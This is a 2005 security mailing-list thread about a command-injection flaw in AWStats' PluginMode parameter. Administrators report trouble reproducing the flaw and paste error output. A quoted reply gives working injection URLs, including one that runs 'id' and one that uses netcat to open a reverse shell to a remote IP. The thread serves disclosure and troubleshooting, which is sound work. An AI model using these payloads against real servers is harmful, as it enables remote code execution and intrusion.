RE: AWStats <= 6.4 Multiple vulnerabilities - can't reproduce in 6.3?
Same thing here on both 6.3 and 6.4. I am unable to reproduce this.
Error: Can't locate object method "BuildFullHTMLOutput_print" via package
"systemid" (perhaps you forgot to load "systemid"?) at (eval 1) line 1.
Setup ('/usr/local/apache/root/billpratt_net/cgi-bin/awstats/awstats.conf'
file, web server or permissions) may be wrong.
Check config file, permissions and AWStats documentation (in 'docs' directory).
William Pratt
Sr. Engineering Application Developer
Megapath Networks, Inc.
Http://www.MegaPath.net
I wish there was a knob on the TV to turn up the intelligence. There's a knob
called "brightness", but it doesn't seem to work.
-- Gallagher
-----Original Message-----
From: Jamie Pratt [mailto:jpratt@xxxxxxxxxxx]
Sent: Tuesday, February 15, 2005 11:26 AM
To: Ondra Holecek
Cc: bugtraq@xxxxxxxxxxxxxxxxx
Subject: Re: AWStats <= 6.4 Multiple vulnerabilities - can't reproduce
in 6.3?
So what are the conditions of this bug/vuln? I can't reproduce this on
several 6.3 installs..:
awstats 6.3 from source:
request:
http://www.site.org/awstats/cgi-bin/awstats.pl?&PluginMode=:print+system('id')+;
output:
****************
Error: Can't locate object method "BuildFullHTMLOutput_print" via
package "systemid" (perhaps you forgot to load "systemid"?) at (eval 1)
line 1.
Setup ('/etc/awstats/awstats.www.site.org.conf' file, web server or
permissions) may be wrong.
Check config file, permissions and AWStats documentation (in 'docs'
directory).
***************
regards,
jamie
Ondra Holecek wrote:
>
>
> GHC@xxxxxxxxxxxxxxxxxxxxx wrote:
> |
> | /*==========================================*/
> | // GHC -> AWStats <- ADVISORY
> | \\ PRODUCT: AWStats
> | // VERSION: <= 6.3
> | \\ URL: http://awstats.sourceforge.net/
> | // VULNERABILITY CLASS: Multiple vulnerabilities
> | \\ RISK: high
> | /*==========================================*/
>
> [...]
>
> |
> | PluginMode=:print+getpwent
> |
> | And the $function becomes 'BuildFullHTMLOutput_:print getpwent()'.
> | This will satisfy eval() requirements., and :print getpwent() is
> executed.
> |
> |
> http://www.lan.server/cgi-bin/awstats-6.4/awstats.pl?&PluginMode=:print+getpwent
>
>
> |
> | Sanitazing limits user's input, but there is no filtration for call
> sympols '()'.
>
> no, user is not limited, he can execute ANY command if he add ; at the
> end of the command, try this
>
> awstats.pl?&PluginMode=:print+system('id')+;
>
> or even this
>
> awstats.pl?&PluginMode=:print+system('nc+172.16.1.2+3000+-e+/bin/sh')+;
>
>
> Ondra
--
James Pratt
Unix Systems Administrator
Norwich University
http://www.norwich.edu/it
<jpratt@xxxxxxxxxxx> | ph. (802)485-2532